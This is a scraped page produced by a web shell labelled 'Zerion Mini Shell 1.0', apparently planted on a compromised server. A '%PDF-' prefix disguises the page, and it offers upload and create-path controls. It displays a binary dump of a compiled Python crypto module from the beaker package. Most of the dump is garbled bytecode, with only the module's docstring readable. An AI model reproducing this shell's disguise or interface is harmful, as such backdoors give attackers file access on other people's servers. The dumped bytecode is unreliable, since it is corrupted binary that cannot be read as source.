%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/beaker/crypto/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/beaker/crypto/__pycache__/jcecrypto.cpython-37.pyc

B

��[�@s|dZddlmZddlmZddlmZmZddlZee�	dd��Z
dd	�ZeZd
Z
dd�Ze�d
krxede�d�dS)a�
Encryption module that uses the Java Cryptography Extensions (JCE).

Note that in default installations of the Java Runtime Environment, the
maximum key length is limited to 128 bits due to US export
restrictions. This makes the generated keys incompatible with the ones
generated by pycryptopp, which has no such restrictions. To fix this,
download the "Unlimited Strength Jurisdiction Policy Files" from Sun,
which will allow encryption using 256 bit AES keys.
�)�warn)�Cipher)�
SecretKeySpec�IvParameterSpecN��bcCs2t�d�}t|d�}|�tj|t�|�|���S)NzAES/CTR/NoPaddingZAES)rZgetInstancer�initZENCRYPT_MODE�_ivZdoFinal�tostring)�data�keyZcipherZskeySpec�r
�H/opt/alt/python37/lib/python3.7/site-packages/beaker/crypto/jcecrypto.py�
aesEncrypts

rTcCst�d�}t|d�dS)NzAES/CTR/NoPadding��)rZgetMaxAllowedKeyLength�min)�maxlenr
r
r�getKeyLength!s
r� z�Crypto implementation only supports key lengths up to %d bits. Generated session cookies may be incompatible with other environmentsr)�__doc__�warningsrZjavax.cryptorZjavax.crypto.specrrZjarray�zerosr	rZ
aesDecryptZhas_aesrr
r
r
r�<module>
s


Zerion Mini Shell 1.0